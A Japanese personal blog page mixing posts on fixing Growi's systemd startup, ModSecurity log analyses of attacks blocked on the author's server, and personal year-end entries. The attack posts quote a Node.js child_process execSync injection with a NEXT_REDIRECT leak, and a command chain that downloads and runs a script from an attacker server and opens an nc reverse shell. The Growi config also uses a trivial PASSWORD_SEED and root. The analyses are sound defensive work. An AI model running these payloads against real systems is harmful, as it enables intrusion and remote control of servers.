Growiのsystemdと起動スクリプトの修正。

以下の環境でGrowiを利用。

  • Growi v7.4.1
  • node v20.10.2
  • Ubuntu 24.04
  • Growi実行環境 /home/www-data/growi
  • Growi実行ユーザ:root

v7.4.1で以下の問題点にぶつかったため、growiのスタートアップスクリプトとsystemdで対処したときのメモです。

問題点

  • daemon-reload の遅延: 設定反映に約5分を要していました。
  • 起動プロセスの停滞: サービス開始から実際にアクセス可能になるまで約6分かかっていました。(以前は数秒)
  • 不安定な運用: 異常終了時の自動再起動設定がなく、ログも標準出力のみで追跡が困難でした。

旧設定

  • /etc/systemd/system/growi.service
[Unit]
Description = growi
After=network-online.target mongod.service
After=network.target elasticsearch.service
ConditionPathExists=/home/www-data/growi

[Service]
ExecStart=/home/www-data/growi/growi-start.sh
Restart=no
Type=simple

[Install]
WantedBy=multi-user.target
  • /home/www-data/growi/growi-start.sh
#!/bin/bash

# NVM environmentをロード (NVM_DIRを直接指定)
export NVM_DIR="/root/.nvm" # $HOMEの代わりに直接パスを指定
if [ -s "$NVM_DIR/nvm.sh" ]; then
  \. "$NVM_DIR/nvm.sh"  # nvmをロード
  # 次の行でスクリプト実行時のnodeとnpmのバージョンをログに出力
  echo "NVM for GROWI startup script loaded. Using Node version: $(node -v), npm version: $(npm -v)" > /tmp/growi_nvm_load.log
else
  # NVMが見つからない場合もログに出力
  echo "NVM_DIR ($NVM_DIR) not found or nvm.sh not found for GROWI startup script." > /tmp/growi_nvm_load.log
fi

cd /home/www-data/growi
NODE_ENV=production \
AUDIT_LOG_ENABLED=true \
FORCE_WIKI_MODE=private \
MONGO_URI=mongodb://localhost:27017/growi \
ELASTICSEARCH_URI=http://localhost:9200/growi \
REDIS_URI=redis://localhost:6379 \
PASSWORD_SEED=password \
npm run app:server

原因分析

以下、分析はGemini。

  1. systemdの過負荷: ConditionPathExists が大規模なディレクトリ(growi)をチェックする際、OSレベルでスキャン待ちが発生していた可能性。
  2. NVMの初期化コスト: 起動のたびに nvm.sh を読み込んでいた。これは数百行のシェルスクリプトを実行する処理であり、本番環境のサービス起動としては非常に重い。
  3. プロセスの二重管理: シェルスクリプトが npm プロセスを「子プロセス」として抱えていたため、systemdからの制御効率が悪かった。

何が問題だったのか(ボトルネックの正体)

今回の事象で最大の問題は、「本番環境のサービス起動に、開発環境のような動的な初期化プロセスを組み込んでいたこと」にありました。

具体的には、以下の3つの「待ち」が連鎖していました。

  1. システムチェックによる停滞 (ConditionPathExists) systemdのユニットファイルでGROWIのインストールディレクトリをチェックしていましたが、node_modules を含む膨大なファイル群をOSレベルでスキャンしに行った際、I/O待ちやカーネルレベルのオーバーヘッドが発生し、daemon-reload や起動そのものを著しく遅延させていました。
  2. シェルスクリプトによる二重起動のオーバーヘッド 起動のたびに nvm.sh をロード(source)し、Node.jsのバージョン判定を動的に行っていました。これは開発時には便利ですが、本番サービスとしては数百行のシェルスクリプトを毎回実行することになり、CPUリソースと時間を無駄に消費していました。
  3. プロセスの「親子関係」の不備 systemdから見ると、管理対象が「GROWI本体」ではなく「起動用のシェルスクリプト」になっていました。このため、GROWIが内部でハングアップしてもsystemdが検知できず、再起動もかからないという「運用上の死角」が生まれていました。

これを是正した設定ファイル

設定の前に!

  • 設定ファイルのバックアップ
sudo cp -pi /etc/systemd/system/growi.service /path/to/backup/growi.service.$(date +%Y%m%d)
sudo cp -pi /home/www-data/growi/growi-start.sh /path/to/backup/growi-start.sh.$(date +%Y%m%d)
  • diffによるバックアップ確認
sudo diff -u /path/to/backup/growi.service.$(date +%Y%m%d) /etc/systemd/system/growi.service 
sudo diff -u /path/to/backup/growi-start.sh.$(date +%Y%m%d) /home/www-data/growi/growi-start.sh

新しいファイル本体

  • /etc/systemd/system/growi.service
[Unit]
Description=GROWI Service
After=network-online.target mongod.service elasticsearch.service redis.service
Wants=network-online.target

[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/home/www-data/growi
ExecStart=/bin/bash /home/www-data/growi/growi-start.sh
Restart=always
RestartSec=10
StandardOutput=append:/var/log/growi.log
StandardError=append:/var/log/growi-error.log

[Install]
WantedBy=multi-user.target
  • /home/www-data/growi/growi-start.sh
#!/bin/bash

# Node.jsバイナリへのパスを直接追加 (nvm.shのロードを回避して高速化)
export PATH="/root/.nvm/versions/node/v20.19.2/bin:$PATH"
GROWI_DIR="/home/www-data/growi"

cd $GROWI_DIR

# 環境変数の設定
export NODE_ENV=production
export AUDIT_LOG_ENABLED=true
export FORCE_WIKI_MODE=private
export MONGO_URI=mongodb://localhost:27017/growi
export ELASTICSEARCH_URI=http://localhost:9200/growi
export REDIS_URI=redis://localhost:6379
export PASSWORD_SEED=password

# execにより、このシェル自体をnpmプロセスに切り替える
exec npm run app:server

※このpasswordは、旧設定をそのまま利用します。でない場合、「Growiにログインできない」という地獄が待っています。

ファイル差し替え後の挙動

  • systemdリロード
sudo systemctl daemon-reload
  • growi再起動
sudo systemctl restart growi.service
  • growi再起動確認
systemctl status growi.service

active(running) を確認します。

その後、

  1. growiが起動する
  2. 新しいセッション(ゲストセッション)で管理者アカウントにログインできる
  3. 一通りの操作 (Wikiページの作成や編集)が行えればOKです。

設定の比較

■ systemd ユニットファイル (growi.service)

項目旧設定 (遅延の原因)新設定 (最適化済)
依存関係Afterが分散、Redisの指定なしAfter/WantsにRedis含め統合
パスチェックConditionPathExists (5分停滞の疑い)削除(高速化に寄与)
実行ユーザ指定なし (デフォルト)User=root / Group=root 明示
作業ディレクトリスクリプト内で cdWorkingDirectory で定義
再起動設定Restart=no (手動復旧が必要)Restart=always (10秒後に自動復旧)
ログ管理標準出力のみ (systemdログに混在)/var/log/growi.log に直接出力

■ 起動スクリプト (growi-start.sh)

項目旧設定 (遅延の原因)新設定 (最適化済)
Node環境構築source nvm.sh (数秒〜数十秒のロス)PATH を直接追加 (0秒)
環境変数\(バックスラッシュ)連結 (ミスしやすい)export 方式 (確実で読みやすい)
実行コマンドnpm run app:server (子プロセスとして実行)exec npm... (プロセスを置き換え)

4. 対処方法のポイント

  • 「動的な環境構築」から「静的なパス指定」へ: 本番サーバでは nvm を毎回読み込む必要はありません。パスを直接通すことが最速の解決策でした。
  • systemdの責務を明確にする: ディレクトリの存在チェックやパス移動はスクリプトではなく、ユニットファイルの WorkingDirectory 等に任せることで、systemdの管理サイクルが正常化しました。
  • プロセスの直結 (exec): OS (systemd) -> Bash -> npm となっていた階層を、exec で OS (systemd) -> npm に直結させたことで、シグナルの伝達やメモリ効率が改善しました。

今後のメンテナンス

Node.jsのバージョンを変更した際のみ、growi-start.sh 内の v20.19.2 というパス文字列を書き換えるだけで対応可能です。

【ログ記録】Next.js/Node.js環境を標的にしたサンドボックス脱出と情報窃取試行

2025年12月31日早朝に検知された攻撃ログ。前回の単純な破壊工作とは異なり、システムの内部情報(カレントディレクトリ等)を奪取し、それをクエリパラメータとして外部へ持ち出そうとする「偵察型RCE」の典型例だったのでメモをしておきます。

検知ログの概要(匿名化済み)

[Wed Dec 31 05:25:08 2025] [security2:error]
[ModSecurity: Warning] [ID "934100"] [Severity: CRITICAL]
[Message: Node.js Injection Attack 1/2]
[Matched Data: process.mainModule.require('child_process').execSync('pwd')]

攻撃ペイロードの構造解析

今回の攻撃者は、Next.jsのサーバーアクションや特定のSSR(サーバサイドレンダリング)の脆弱性を想定した、非常にテクニカルなコードを注入しています。

JavaScript実行環境への介入

var res = process.mainModule.require('child_process').execSync('pwd').toString().trim();
  • process.mainModule を経由して、サンドボックス化されている可能性のある環境から child_process(OS操作モジュール)を強制的に呼び出しています。
  • execSync('pwd') を実行することで、「現在、サーバのどのディレクトリでプログラムが動いているか」という、次なる攻撃(設定ファイルの奪取など)のための足がかりとなる情報を取得しようとしています。

Next.jsの内部挙動を悪用した情報の持ち出し

throw Object.assign(new Error('NEXT_REDIRECT'), {
    digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

ここが非常に巧妙だと思った点。Next.jsがリダイレクトを処理する際の内部エラー NEXT_REDIRECT を意図的に投げ(throw)、そのエラーオブジェクトの中に、先ほど取得したディレクトリ情報(${res})を埋め込んでいます。

  • これにより、攻撃者のブラウザ(あるいはボット)は、/login?a=/home/www-data/... というURLに強制的に飛ばされます。
  • 攻撃者は自分のサーバのアクセスログを見るだけで、ターゲットサーバの内部パスを手に入れることができる仕組みです。

防御側の対応と結果

  • 検知: ModSecurity CRSの 934100(Node.js Injection)が、child_processexecSync といった危険な関数呼び出しを完全にパターンマッチング。
  • 阻止: 前回同様、アプリケーション層に到達する前に403遮断(設定により404応答)。
  • 分析: 攻撃者はRedmine(Ruby on Rails)に対し、あえてNode.js/Next.js用の高度なペイロードを投げています。これは「何で動いているか分からないが、とりあえず流行りの脆弱性コードを全部試す」という、 スキャンから自動攻撃までシームレスに移行するボット*の挙動です。

技術的考察:2025年を締めくくった「贈り物」

このログが示しているのは、攻撃側がいかに「多様な環境」を想定した多角的な攻撃を自動化しているかという事実です。

しかし、設置したModSecurityは、相手がRubyを狙おうがNode.jsを狙おうが、「外部から実行コードが注入される」という本質的な異常を逃しませんでした。

年始のお節群。

2026年も美味しい食事を味わいました。

日本海の味覚が詰まったお節。

お世話になっている方からの渾身のお節

など、今年は、いつになく美味しいものをいただけました。

年明けボードゲーム『大鎌戦役』ソロプレイ。

年明けのボードゲームとして選んだのは、物理の『大鎌戦役』

こちらが選んだのは『ザクセン帝国』。使ったマットはエンジニアリング。

「オートマ」の奥深さにやられました。

カードのオートマという気まぐれな意志決定機関に振り回され、私の思考回路が追いつかず、イージーでも辛勝した事実。

71-53で勝ってはいますが、オートマの星章獲得の速さで、終盤、なりふり構わず領土拡大にシフトしたため勝てた次第です。

そこで改めて思ったのが

Warhammerを嗜む友人の手によるキャラクターとメックの詳細なペイント」

の時点で神棚ではなく戦場の第一線で使うべきものです。

  • 海外から取り寄せたオーガナイザーによりセットアップと収納を劇的に楽にして
  • リアリスティックリソースとメタルコインという没入感

何よりも「物理的なコンポーネントを手にする満足感」。これは、面倒なアナログのセットアップを帳消しにするほどの楽しさです。

今年こそもう少し回したいと思った次第です。

年越しの組み立て。

「これをやらないとこの年は終わらない」と思った結果です。

2025年、プライムデーでしれっと手に入れていた『スリザリンの紋章/談話室レゴ』。

「巳の年の締めくくり」にこれ以上のものはない

思いつつ組み立て。

パーツの割に分厚いインストラクション。これは相当かかりそうだと思いながら

完成。映画1本分を消費する程度の組み立て時間でした。

展開することで、あの映画の談話室をイメージできるようになっているのが高ポイント。

きちんと壁掛けの強度もあるのも良かったです。

2025年のZENタイル。

今年は余裕ができたので、2025年の振り返りを改めてZENタイルで行おうと思います。

全体概要

前半が厳しく、後半に天気があり、加速したという形。

2025年前半の辛さ

年の前半は本当にキツかったです。仕事でもプライベートでも。

  • 150日の亡霊とのまっただ中で「いつまでこの課金は続くのか?」という不安
  • 猫の体調不良→虹の橋を渡るまでの辛さ

そんな中「絶対にこの結末は見届ける」という癸亥が生まれ、それを乗り切った中では

2025年後半の楽しさ

一番顕著だったのがThinkPadの購入により、行動範囲どころか思考回路が変わり

  • 散歩の習慣が復活
  • サーバ刷新という行動力

などが生まれ、仕事にも余裕が出てきたという次第。

  • 日記
  • WordPressの更新

も365日キチッと終えました。そんな中で、改めて思ったのが『アカギ』対市川戦

手段は選ばない
地獄を一度くぐっちまうことさ 南郷さん
ツキの女神はいつだって
その先にしゃがみ込んでいる

を体現した2025年でした。2026年はこの好調を維持できることを願うばかりです。

Linux Webサーバのログから見るモダンな攻撃例。

2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。

検知ログの概要(匿名化済み)

[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
 - RCE (Remote Code Execution): 65
 - SQLI (SQL Injection): 5
 - LFI (Local File Inclusion): 5
 - COMBINED_SCORE: 78

攻撃ペイロードの構造解析

攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。

プロトタイプ汚染(Prototype Pollution)

"__proto__": { "then": "$1:__proto__:then" }

これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。

OSコマンド注入(Remote Code Execution)

JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)

# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f; 
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立

3. 防御側の対応と結果

とはいえ、この手の防御はしっかりとWAFが検知していました。

  • 検知: ModSecurity(OWASP CRS)により、JSON構造内の不審なシグネチャを即座に捕捉。
  • 判定: 異常スコア 78。防御しきい値(通常5)を大幅に超過。
  • 結果: アプリケーション層に到達する前にApacheが通信を遮断し、404 Not Found(403から偽装応答)を返却。サーバへの影響はありませんでした。

解説メモ

この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。

しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。

漫画『ONE OUTS』にも引き合いに出された

「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」

が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。

2025年に買った中で印象的なガジェット。

2025年、いろいろと購入したガジェットがいくつもありました。その中で特に印象的だったもの。

ホグワーツ4寮の限定AL-Star

「今年は万年筆を買わなくていいな」というもくろみが大きく崩れ去り「このままでは余計な出費をしなくて済む」まで打ち砕いた逸品。

  • No Time
  • No Choise
  • Without Thinking

の衝動買いの見本のようなもの。改めて「万年筆で書く楽しさ」に気づかせてくれたものです。

Garmin Instinct E

こちらも、バッテリーの持ちが悪いというストレスを元から絶った形。より軽く、心持ち薄く、完全にフィットしてQoEが上がりました。

iPhone AIR

6年ぶりの機種変。これによって得られたものは

  • 長持ちしたバッテリー
  • 軽さ
  • 速さ。

世間ではいろいろ言われているようですが、自分に刺さったのがこの機種でした。

Thinkpad X13 2020年モデル

これは本当に大きいもの。

  • 打ちやすいキーボード
  • 長持ちしたバッテリー
  • 何よりもLinuxサーバに気軽にアクセスできるWindows環境

など、私の生活リズムそのものを変えたという形。

なお、このThinkPadは少し変化があるかもしれませんが

  • アナログによる記録
  • スマートウォッチという体調管理
  • スマートフォン、ノートPCという「デジタルの杖」

の三段構えは2026年も続けていくでしょう。

2025年のサーバ設定のまとめ。

今年はサーバ運用で色々とありましたので、年末らしい振り返りを。

1~4月:地獄だったが学びのあった「150日の亡霊」

「MongoDBをs3fsで繋いでしまった」

ことによる課金地獄。

とはいえ、これにより

  • クラウドストレージの正しい使い道
  • 合う運用/合わない運用

何よりも

「全ての責任が自分である以上、最後まで問題に取り組む」

という、エンジニアの必須スキルを改めて学べました。

5月:取れてしまったドメイン。

元々、VPS運用を更に決定づけたドメイン「reisalin.com」の所有者ではありますが、新たに「ryza.jp」というわずか4文字で意味あるドメインが取れたことで、ますます「サーバ運用に真摯に向き合う」気概が生まれました。

8月:VPS変更。WebArena→XServerに。

月額980円キャンペーン期間が切れるタイミングでXServerに切り替え。月額1400円程度に上がりましたが、その分、

CPUモデル : AMD EPYC-Milan Processor
CPUコア数 : 4
合計メモリ : 5.78 GiB
利用可能メモリ : 1.97 GiB
合計スワップ : 2.00 GiB

に底上げ。

余談:上記を一発で知るワンライナー

CPUとメモリを知ることができるワンライナーです

awk 'BEGIN {FS=":"; OFS="\t"} /^model name/ && !cpu_model {cpu_model=$2; gsub(/^ */, "", cpu_model)} /^processor/ {cores++} /^MemTotal/ {mem_total=$2} /^MemAvailable/ {mem_avail=$2} /^SwapTotal/ {swap_total=$2} END {printf "CPUモデル\t: %s\n", cpu_model; printf "CPUコア数\t: %s\n", cores; printf "合計メモリ\t: %.2f GiB\n", mem_total/1024/1024; printf "利用可能メモリ\t: %.2f GiB\n", mem_avail/1024/1024; printf "合計スワップ\t: %.2f GiB\n", swap_total/1024/1024}' /proc/cpuinfo /proc/meminfo

この底上げは何がありがたいかというと、今まで諦めていた

  • Growi
  • Redmine
  • BookStack
  • NextCloud

の同時稼働ができるようになったこと。また、折角だからとmod-phpからphp-fpmへとよりセキュアな構成にできたのもありがたいです。

10~11月「ONE OUTSシステムの刷新」

  • ModSecurity
  • Apache
  • シェルスクリプト

の三構成によりオープンソースでありながら十分なセキュリティ強度を持たせた「ONE OUTS」を

「自分の投稿は偽陽性にならず、相手の疑わしい攻撃を検知する」

ものへと刷新することができました。

12月「クリスマスアタック」

直近の出来事ですが、これをは特に印象深い出来事です。12月25日というクリスマスの朝、自サーバを襲ったDDoS。これを「前もって用意していた」ipsetでカウンターで来たことは何より重畳。

最後に

昨年末の「Wasabiクラウドの重課金」は「これ、私、今後、vpsを運用する資格があるのか?」思いましたが:

「資格? 馬鹿野郎、誰もそんなもの持ってねぇんだ! いいか、あるのは責任だけだ。戦う責任! あの子を傷つけちまった責任! そいつを果たすには、この地球を守るしかねぇんだ!
 俺は慰めねぇぞ。励ますつもりもねぇ。自分の責任は自分でとれ! 立ち上がってこい、ダイモン! そしたら俺たちはいくらでも支えてやる」
 ――『救急戦隊ゴーゴーファイブ』第27話『イエロー戦線離脱!』

この言葉に救われました。このおかげで、今年は乗り切ることができたということで、今年のサーバ運用の締めくくりとしたいです。

IDEA SPHERE『坂道と、選ばれなかった物差し』

IDEA SPHEREとして、8年ほど前の記憶を。

発端

今でも乗っているブロンプトンで、(当時は1年も発っていない新車でした)奥秩父から祖父宅へと向かう途上です。

見通しはいいが延々と続く、なかなか骨の折れる上り坂の麓にさしかかろうかという中、

前方に二人のロードバイク乗りがいました。

  • 一人はフルカーボンに高級コンポーネント、引き締まった体つきの年配の方。
  • もう一人は、明らかにおろしたてのピカピカのロードに乗った30代くらいの男性

こちらを見るなり、二人がニヤニヤと笑ったのを覚えています。(特に年配の方)

やがて坂道にさしかかり、しばらくして、後ろにいた新しいロードの方が、勢いよく私を抜いていきました。

「おお、飛ばすなあ」

ぐらいの心境です。そもそも速度に差がある小径車とロードバイク。競うつもりは端からありません。

違和感

ところが、しばらくすると前方の自転車(というよりも自転車乗り)に違和感がありました。

  • 明らかに速度が落ちています。
  • ペダリングが不安定。
  • 脇腹をかばっているのが遠目にも分かります。

差は、少しずつ、しかし確実に縮まっていったわけです。

斜度が一番きつい区間を越え、ようやく平坦に近いところへ出た瞬間、私はそのロードを抜きました。

すると、後ろで見ていたであろう年配のローディが、すごい勢いでのぼってきて、新しいロードの前に立ち、何かを強い口調で言い始めました。

「こんなのに負けてちゃ、上達しないぞ」
「こうやってダンシングするんだ」

その瞬間、流石に気づきます。

私は当て馬にされたのかと。

  • 小径車。
  • 折り畳み。
  • ギアも少ない。
  • 前にバッグ。
  • 普段着
  • ビンディングも無し。

彼らから見れば、極上の“かませ犬”だったのだと思います。

物語の終わり

しかし、彼等には3つの誤算がありました。

地の利

祖父宅の近くとあるように、実質地元民です。どこで力を使い、キツいところと楽なところはどこか? 適切な力配分は? と体で知っていたこと。

「小径車が有利になる状況」

  • 慣性モーメントの小ささ
    • ロードの700Cホイールに比べ、16インチのブロンプトンのホイールは圧倒的に軽く、回転させ始める(あるいは加速を維持する)ためのエネルギーが少なくて済みます。
  • 低速域での粘り
    • 急勾配で速度が落ちた際、大きな車輪を回し続けるのは筋力的に大きな負担(高トルク)がかかりますが、小径車は軽い力でクルクルと回し続けることが可能です。

「戦力の過小評価」

これが最も致命的。

年配のローディーが犯した最大のミスは、「乗り手というエンジンの性能」と「経験値」を無視したことです。

こんな、素人に毛が生えた(ように見える)私を、小径車というだけで判断。

なにせカーボンとクロモリフレーム。軽さは歴然です。ギアもウェアの性能も明らかです。初心者に自信をつけさせるには十分な理があったのでしょう。

しかしながら、ロードの方々はブロンプトンのしなやかな剛性と「長距離を淡々と走ることができる『折りたたみ』自転車」という認識が欠けていて、私はその乗り方に合っていた。

ここで思うこと

この出来事を未だに昨日のことのように思い出すのは、私の普段のサーバ運用のスタイルと重なるからです。

「目的を見失ってはいけない」

サーバにしても、自転車にしても、その目的の本質は「安全性」です。特に、自転車はITと異なり「切り戻し」ができません。(できたらそれこそ魔法か何かです)

何かに勝つのは確かに重要ではありますが、「本質を見失っていないか?」「その勝負に適した獲物は?」「相手が有利、自分が不利な状況は?」を自答していく覚悟が問われました。

「相手に敬意を払う」

これは父が生前言っていた

「戦う相手には常に敬意を払え。その上で全力で叩き潰せ」

という言葉。これには続きがあり、父が夢枕に立ち

「これは、敬意を払わないと必ず慢心を生む。その慢心は油断になるという意味だからな」

とわざわざ但し書きをしたほどです。

まとめ:「道具に使われるか、道具が選ぶか」

またこれを引き合いに出しますが、『ハリー・ポッターと賢者の石』のオリバンダー翁の

The wand chooses the wizard, Mr. Potter. It's not always clear why
「杖が魔法使いを選ぶのです、Mr.ポッター。何故そうなるかは、はっきりとは分かりませんが」

に通じるものがあります。

高価な道具を使うことで自分が強くなったと錯覚してしまう。これは「自転車を楽しむ」ことではなく「他者と比較して優越感に浸る」ことが目的化している状態です。

抜かれた後に新人に説教を始めた年配者も、結局は「自分の見立てが外れた恥ずかしさ」を新人に転嫁しているに過ぎません。本来、自転車は自由な乗り物であり、他者を格付けするための道具ではないはずです。

結局の所、「道具と使い方、その覚悟」が問われる出来事だったので、未だに鮮明に覚えているんだろうなと思います。

『フルメタル・パニック ふもっふ』の『仁義なきファンシー』の

「貴様はひとつミスを犯した」
「敵の戦力は過小評価しないことだ。」

という真理を持って、本稿を締めくくりたいと思います。

Page 2 of 279

Powered by WordPress & Theme by Anders Norén